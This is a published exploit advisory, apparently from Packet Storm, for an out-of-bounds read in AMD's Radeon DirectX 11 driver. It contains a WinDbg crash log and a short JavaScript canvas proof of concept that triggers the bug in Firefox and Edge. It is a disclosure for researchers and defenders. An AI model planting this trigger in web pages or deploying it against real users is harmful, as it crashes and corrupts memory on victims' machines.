AMD Radeon DirectX 11 Driver 8.17.10.0871 Memory Corruption

AMD Radeon DirectX 11 Driver version 8.17.10.0871 suffers from a memory corruption vulnerability.


MD5 | 1995bb7b4e0a66699c00de7295d52541

Download
/*
Title : Advanced Micro Devices, Inc. Radeon DirectX 11 Driver (Firefox/MS Edge) Memory Corruption
Date : 10.04.2020 
Exploit Author : Marcin Ressel
Vendor Homepage : https://www.amd.com/
Software Link: n/a
Version: 8.17.10.0871 (atidxx64.dll)
Tested on: Windows 10 home, AMD64 Family 23 Model 24 Stepping 1 AuthenticAMD ~2100 Mhz,
           Firefox 74.0 (64 bity)
       MS Edge 
----
24a5122ef60 - 24a512270f0 = 0x7E70 && 0x7f10 - 0x7E70 = A0 = offset = OUT_OF_BOUNDS READ
----
0:123> g
(2560.1f28): Access violation - code c0000005 (!!! second chance !!!)
atidxx64!AmdDxGsaFreeCompiledShader+0x45901d:
00007ffc`994cfecd 83bba000000013  cmp     dword ptr [rbx+0A0h],13h ds:0000024a`5122f000=????????
0:123> !heap -p -a @rbx
                 24a512270f0
    address 0000024a5122ef60 found in 
    _DPH_HEAP_ROOT @ 24a50701000
    in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)
                             24a653f10d0:      24a512270f0             7f10 -      24a51227000             9000
    00007ffca7204847 ntdll!RtlDebugAllocateHeap+0x000000000000003f
    00007ffca71b4a16 ntdll!RtlpAllocateHeap+0x0000000000077b26
    00007ffca713babb ntdll!RtlpAllocateHeapInternal+0x00000000000001cb
    00007ffc99378a05 atidxx64!AmdDxGsaFreeCompiledShader+0x0000000000301b55
    00007ffc996af263 atidxx64!AmdDxGsaFreeCompiledShader+0x00000000006383b3
    00007ffc996ae802 atidxx64!AmdDxGsaFreeCompiledShader+0x0000000000637952
    00007ffc993e9891 atidxx64!AmdDxGsaFreeCompiledShader+0x00000000003729e1
    00007ffc9917a7db atidxx64!AmdDxGsaFreeCompiledShader+0x000000000010392b
    00007ffc9917949b atidxx64!AmdDxGsaFreeCompiledShader+0x00000000001025eb
    00007ffc99169680 atidxx64!AmdDxGsaFreeCompiledShader+0x00000000000f27d0
    00007ffc99148e8a atidxx64!AmdDxGsaFreeCompiledShader+0x00000000000d1fda
    00007ffc990951f4 atidxx64!AmdDxGsaFreeCompiledShader+0x000000000001e344
    00007ffc998509ce atidxx64!AmdDxGsaFreeCompiledShader+0x00000000007d9b1e
    00007ffc9984b950 atidxx64!AmdDxGsaFreeCompiledShader+0x00000000007d4aa0
    00007ffc99826a26 atidxx64!AmdDxGsaFreeCompiledShader+0x00000000007afb76
    00007ffc990aedcb atidxx64!AmdDxGsaFreeCompiledShader+0x0000000000037f1b
    00007ffc990ae6a9 atidxx64!AmdDxGsaFreeCompiledShader+0x00000000000377f9
    00007ffc99952114 atidxx64!AmdLiquidVrD3D11WrapDeviceContext+0x00000000000a4654
    00007ffca6747bd4 KERNEL32!BaseThreadInitThunk+0x0000000000000014
    00007ffca716ced1 ntdll!RtlUserThreadStart+0x0000000000000021

 
0:123> kb
 # RetAddr           : Args to Child                                                           : Call Site
00 00007ffc`994b4f3e : 0000024a`5122db98 0000024a`50dcef01 0000024a`5c27b600 0000024a`51228650 : atidxx64!AmdDxGsaFreeCompiledShader+0x45901d
01 00007ffc`99166094 : 0000024a`00000000 0000024a`00000000 0000024a`51211fc0 00000056`0743ec89 : atidxx64!AmdDxGsaFreeCompiledShader+0x43e08e
02 00007ffc`9917a1d3 : 0000024a`5122db80 0000024a`51211fc0 0000024a`0000002d 0000024a`51211fc0 : atidxx64!AmdDxGsaFreeCompiledShader+0xef1e4
03 00007ffc`99169680 : 0000024a`60901a50 0000024a`50e63108 00000000`00000002 0000024a`60901a50 : atidxx64!AmdDxGsaFreeCompiledShader+0x103323
04 00007ffc`99148e8a : 0000024a`60901a50 0000024a`50ddb1f0 0000024a`50dd6400 0000024a`60901a50 : atidxx64!AmdDxGsaFreeCompiledShader+0xf27d0
05 00007ffc`990951f4 : 00000000`00000001 0000024a`50dd6400 0000024a`50ddb1f0 0000024a`50ae0ec0 : atidxx64!AmdDxGsaFreeCompiledShader+0xd1fda
06 00007ffc`998509ce : 00000000`00000000 00000056`0743f5a0 0000024a`50dd6400 0000024a`5085c4c0 : atidxx64!AmdDxGsaFreeCompiledShader+0x1e344
07 00007ffc`9984b950 : 0000024a`00000000 0000024a`507d7d08 00000000`00000000 00000000`00000000 : atidxx64!AmdDxGsaFreeCompiledShader+0x7d9b1e
08 00007ffc`99826a26 : 00000000`00000000 00000000`00000000 0000024a`50cfafe0 00000000`00000000 : atidxx64!AmdDxGsaFreeCompiledShader+0x7d4aa0
09 00007ffc`990aedcb : 0000024a`50cfafe0 00000000`00000000 0000024a`5dc8ffd0 00000000`00000000 : atidxx64!AmdDxGsaFreeCompiledShader+0x7afb76
0a 00007ffc`990ae6a9 : 00000000`00000000 0000024a`57423fd0 00000000`00000000 00000000`00000000 : atidxx64!AmdDxGsaFreeCompiledShader+0x37f1b
0b 00007ffc`99952114 : 0000024a`57423fd0 00000000`00000000 00000000`00000000 00000000`00000000 : atidxx64!AmdDxGsaFreeCompiledShader+0x377f9
0c 00007ffc`a6747bd4 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : atidxx64!AmdLiquidVrD3D11WrapDeviceContext+0xa4654
0d 00007ffc`a716ced1 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : KERNEL32!BaseThreadInitThunk+0x14
0e 00000000`00000000 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : ntdll!RtlUserThreadStart+0x21
*/

var canvas=document.createElement("canvas");
document.body.appendChild(canvas);
var context = canvas.getContext("2d")

function radioActiveGradient() {
        var ret =  context.createRadialGradient(1,1,0,1,0.6898449305444956,1);
    ret.addColorStop(0,"rgb(1,1,1)");
        return ret;    
}

context.arc(1,0.6898449305444956,1,0,1);
context.strokeStyle=radioActiveGradient();
context.stroke()

Source: packetstormsecurity.com
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